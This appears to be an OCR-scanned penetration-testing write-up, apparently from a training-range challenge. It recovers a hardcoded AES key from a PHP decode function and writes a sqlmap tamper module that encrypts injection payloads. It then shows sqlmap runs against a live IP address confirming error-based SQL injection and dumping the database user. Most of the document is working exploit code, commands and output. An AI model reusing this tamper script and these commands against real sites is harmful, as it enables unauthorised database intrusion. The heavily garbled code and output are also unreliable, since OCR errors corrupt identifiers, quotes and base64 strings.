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function decode($data){

$td = merypt_module_open(MCRYPT_RIJNDAEL_128,", MCRYPT_MODE_CBC,");
merypt_generic_init($td,'ydhagPQnexoaDuW3','2018201920202021");

$data = mdecrypt_generic($td,base64 decode(base64 decode($data)));
merypt_generic_deinit($td);

merypt_module_close($td);

if(substr(trim($data),-6)!=="_mozhe'{

echo";

lelse{

return substr(trim($data),0,strlen(trim($data))-6);

}

}
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$td = merypt_module_open(MCRYPT_RIJNDAEL _128,",.MCRYPT_MODE_CBC,");
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merypt_generic_init($td,'ydhagPQnexoaDuW3','2018201920202021");
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$data = mdecrypt_generic($td,base64 decode(base64 decode($data)));
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merypt_generic_deinit($td);
merypt_module_close($td);
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if(substr(trim($data),-6)!=="_mozhe'{
echo ";
else{
return substr(trim($data),0,strlen(trim($data))-6);
}
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#!/usr/bin/env python
-*- encoding: utf-8 -*-
home.php?mod=space&uid=210785 : cryptomozhe.py
@Author : Angel
home.php?mod=space&uid=163876 : W3bSafe
from base64 import b64decode,b64encode
from Crypto.Cipher import AES
def encrypt(text):
cryptor = AES.new(‘'ydhagPQnexoaDuW3', AES.MODE_CBC, IV="2018201920202021")
length = 16

count = len(text)



add=count % length
if add:

text = text + (\O' * (length-add))

ciphertext = cryptor.encrypt(text)

return b64encode(b64encode(ciphertext))

def decrypt(text):

cryptor = AES.new('ydhagPQnexoaDuW3', AES.MODE_CBC, IV="2018201920202021")
length = 16

count = len(text)

add=count % length

if add:

text = text + (\O' * (length-add))

ciphertext = cryptor.decrypt(b64decode(b64decode(text)))

return ciphertext

if _name__ ==' main

print("encrypt:"+encrypt(str(raw_input("Please input text with encrypt:"))))
print("decrypt:"+decrypt(str(raw_input("Please input text with decrypt:"))))
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Bi3C: This is a test value_mozhe

BATINE, [EIMEERSERA

#L: ZFR1dESMS3NNM1p4c3hxVng2YmliBVZVEYWFKVE5nNNGdseW04RFh6MWF50D0=

Run: cryptomozhe
b C:\Python?T\python. exe C:/Tsers/admin/PycharmProjects/untitled/cryptomozhe. py

Please input text with emcrypt: This 1s a test value mozhe

encrypt: ZFR1dEIUS M 1pd ¢ 2heeVng? YmIEVaVE YWFLVE SnliGds e W4 RFLENTE 50D 0=

Please input text with decrypt:ZFRIJEINSINNMIpdcIhvVng? YmlBVzVE FWFEVE SnlNGds e WO4RFAGMTF 50D0=
decrypt: This is a test value_mozhe

Process finished with exit code 0
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Please input text with encrypt: This is a test value_mozhe
encrypt:ZFR1dE9MS3NNM1p4c3hxVng2Y mIBVZVEYWFKVESnNNGdse W04RFh6MWF50D0=

Please input text with
decrypt:ZFR1dE9MS3NNM1p4c3hxVng2Y mIBVZVEYWFKVESnNNGdse W04RFh6MWF50D0=

decrypt:This is a test value_mozhe
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function decode($data){

$td = merypt_module_open(MCRYPT_RIJNDAEL_128," MCRYPT_MODE_CBC,");
merypt_generic_init($td,'ydhagPQnexoaDuW3','2018201920202021");

$data = mdecrypt_generic($td,base64 decode(base64 decode($data)));
merypt_generic_deinit($td);

merypt_module_close($td);

if(substr(trim($data),-6)!=="_mozhe'{

echo";

lelse{

return substr(trim($data),0,strlen(trim($data))-6);

}

}
$val="ZFR1dE9OMS3NNM1p4c3hxVng2YmIBVzVEYWFkVESNNGdseW04RFh6MWF50D0=";

echo decode($val);
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#!/usr/bin/env python
-*- encoding: utf-8 -*-
@File : mozhe.py

@Author : Angel



@Team : W3bSafe

import base64

from Crypto.Cipher import AES

from lib.core.enums import PRIORITY

from lib.core.settings import UNICODE_ENCODING
__priority__ = PRIORITY.LOW

def encrypt(text):

cryptor = AES.new('ydhagPQnexoaDuW3', AES.MODE_CBC, IV="2018201920202021")
length = 16

count = len(text)

add=count % length

if add:

text = text + (\O' * (length-add))

ciphertext = cryptor.encrypt(text)

return base64.b64encode(ciphertext)

def dependencies():

pass

def tamper(payload, **kwargs):
payload=encrypt((payload+"_mozhe").encode('utf-8'))
payload=base64.b64encode(payload)

return payload
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PS C:\WINDOWS\system32> sqlmap -u "http://219.153.49.228:40570/newsl/list.php?id=" --tamper=mozhe --
dbms=mysql --technique=E

[] {1.2.5.10#dev}
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['] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end
user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are
not responsible for any misuse or damage caused by this program

[*] starting at 11:43:43
[11:43:43] [INFO] loading tamper module 'mozhe'

[11:43:44] [WARNING] provided value for parameter 'id' is empty. Please, always use only valid parameter
values so sglmap could be able to run properly

[11:43:44] [INFO] testing connection to the target URL

[11:43:44] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS

[11:43:44] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[11:43:44] [INFQ] testing for SQL injection on GET parameter 'id'

[11:43:44] [INFO] testing 'MySQL >= 5.0 5-AND % T4 EA - WHERE, HAVING, ORDER BY or GROUP
BY clause (FLOOR)'

[11:43:44] [INFQ] testing 'MySQL >= 5.0 £ F#457E A\ - Parameter replace (FLOOR)'
[11:43:45] [INFO] GET parameter 'id' is 'MySQL >= 5.0 - F#k57F A\ - Parameter replace (FLOOR)' injectable

for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)
values? [Y/n]

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sglmap identified the following injection point(s) with a total of 9 HTTP(s) requests:
Parameter: id (GET)

Type: error-based

Title: MySQL >= 5.0 £ T-#k45FE A - Parameter replace (FLOOR)

Payload: id=(SELECT 1957 FROM(SELECT COUNT (*),CONCAT (0x7171766b71,(SELECT
(ELT(1957=1957,1))),0x71786a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS
GROUP BY x)a)

[11:43:47] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[11:43:47] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: Nginx

back-end DBMS: MySQL >= 5.0

[11:43:47] [INFO] fetched data logged to text files under 'C:\Users\admin\.sgimap\output\219.153.49.228'

[*] shutting down at 11:43:47
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PS C:\WINDOWS\system32> sqlmap -u "http://219.153.49.228:40570/newsl/list.php?id=" --tamper=mozhe --
dbms=mysql --technique=E -v 3 --current-user
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['] legal disclaimer: Usage of sglmap for attacking targets without prior mutual consent is illegal. It is the end
user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are
not responsible for any misuse or damage caused by this program

[¥] starting at 11:46:20

[11:46:20] [DEBUG] cleaning up configuration parameters



[11:46:20] [INFQO] loading tamper module 'mozhe’

[11:46:20] [DEBUG] setting the HT TP timeout

[11:46:20] [DEBUG] creating HT TP requests opener object
[11:46:20] [DEBUG] forcing back-end DBMS to user defined value

[11:46:21] [WARNING] provided value for parameter 'id' is empty. Please, always use only valid parameter
values so sglmap could be able to run properly

[11:46:21] [INFO] testing connection to the target URL

[11:46:21] [DEBUG] declared web page charset 'utf-8'

sqglmap resumed the following injection point(s) from stored session:
Parameter: id (GET)

Type: error-based

Title: MySQL >= 5.0 Z F#457E A - Parameter replace (FLOOR)

Payload: id=(SELECT 1957 FROM(SELECT COUNT (*),CONCAT (0x7171766b71,(SELECT
(ELT(1957=1957,1))),0x71786a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS
GROUP BY x)a)

Vector: (SELECT [RANDNUM] FROM(SELECT COUNT (*),CONCAT([DELIMITER_START],
([QUERY]), [DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP
BY x)a)

[11:46:21] [WARNING] changes made by tampering scripts are not included in shown payload content(s)
[11:46:21] [INFQ] testing MySQL
[11:46:21] [DEBUG] searching for error chunk length...

[11:46:21] [PAYLOAD]
RFA2U25sUmZkKzFXMWdtL 1p2V2UwS0ZLWW\WWAGxX3cHJSTIRGZm56aDRteHRFADZWhCivRzdwK 1gZT VW1

< | T | 3

[11:46:21] [PAYLOAD]
eWhECGEXN]E4RVIaQWxtYONHcOpaRTNKZ3FkQmFYZFBRa3dqRVQ2Z255¢2ZqdGtuZHJ3UUV2Z0hxM2ZB\

4 | I | 3

[11:46:21] [PAYLOAD]
d3FIMjAYVFRIZVRPaEx1 RWVGMW9kajRzZUFRVQVkzMmtFMk4vZ0dCOHQranVkZ205dkFubnBTYONWT G50l

4 | T | 3

[11:46:21] [PAYLOAD]
RDBtcGNRSIpGczgwc2dIMEVoV3A0Y3NJeEJMeEZsU3R2cDFwdGIVUDhDK3ZKe T ZTmNOY21rSEJRWUZjck

< | i | 3

[11:46:21] [PAYLOAD]
RGpHTFQ3b21KMytJL2dMWWs5aTInWKIRT G1rQkYwKzRDYjc5T GxOSnBtVIVXZjRuZ1pBcGVFUk1DS05QNI

4 | 1 | 3




[11:46:21] [DEBUG] performed 5 queries in 0.35 seconds
[11:46:21] [INFQ] confirming MySQL

[11:46:21] [PAYLOAD]
OTFOQkkwZDFQVM9od003UGREdUXGS3hrcUIXT 3RISTExUIkrRmpwcjV5cWZ3MT NpcOdia3NUQU11UnR**c

4 | I | 3

[11:46:21] [DEBUG] performed 1 queries in 0.07 seconds

[11:46:21] [PAYLOAD]
QOdLbmNOU1FKkMFgybFQ0d10zS3RNVmtlaTVPdVdrUzg2VzZQwWRFNXM2ZuYIpMaURTZmd2ZCONV1UOb2tsT

< | T | 3

[11:46:21] [DEBUG] performed 1 queries in 0.06 seconds

[11:46:21] [PAYLOAD]
ank5ZzZJb3ZNOWFVR2JhQWQrRGIOUmY 1MnliczZMalZiYOlweS9leUp5WitncTIubUSMLOcVTORMT TV2Qmpl

< | T | 3

[11:46:21] [DEBUG] performed 1 queries in 0.06 seconds
[11:46:21] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu

web application technology: Nginx

back-end DBMS: MySQL >= 5.0.0

[11:46:21] [INFO] fetching current user

[11:46:21] [PAYLOAD]
dGV3cy9F UkIKc3IJeiiV1IzVzhFek5DaDJzY 1UvQVV3bXQ4NERWOFRkMiONCGEXUOJLRNNYSitDQ3IVMIZUZm

4 | I | 3

[11:46:21] [INFQ] retrieved: root@localhost

[11:46:21] [DEBUG] performed 1 queries in 0.06 seconds

current user: 'root@localhost'

[11:46:21] [INFO] fetched data logged to text files under 'C:\Users\admin\.sqlmap\output\219.153.49.228'
[*] shutting down at 11:46:21

PS C:\WINDOWS\system32>
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x Ubuntu

current u

< O @ FEE | 219.153.49.228:4 4NERWOFRKMiSncGEXUOJLRNNYSitDQ3IVVIZUZmxUcFFD

ei9iV1lzVzhFck5DaDlzY1UvQV

ws/list.php?id=dGV3cy9FUkIKe3

Narning: mysqgli:zquery(): (23000/1062): Duplicate entry 'qqvkcroot@localhostgxjxq 1) for key "<group_key=" in fvar/www/html/news/list.php on line 19

“atal error: Uncaught Error: Call to a member function fetch_assoc() on boolean in /var/www/html/news/list.php:20 Stack trace: #0 {main} thrown in /var/www/html/news/list.php on line 20
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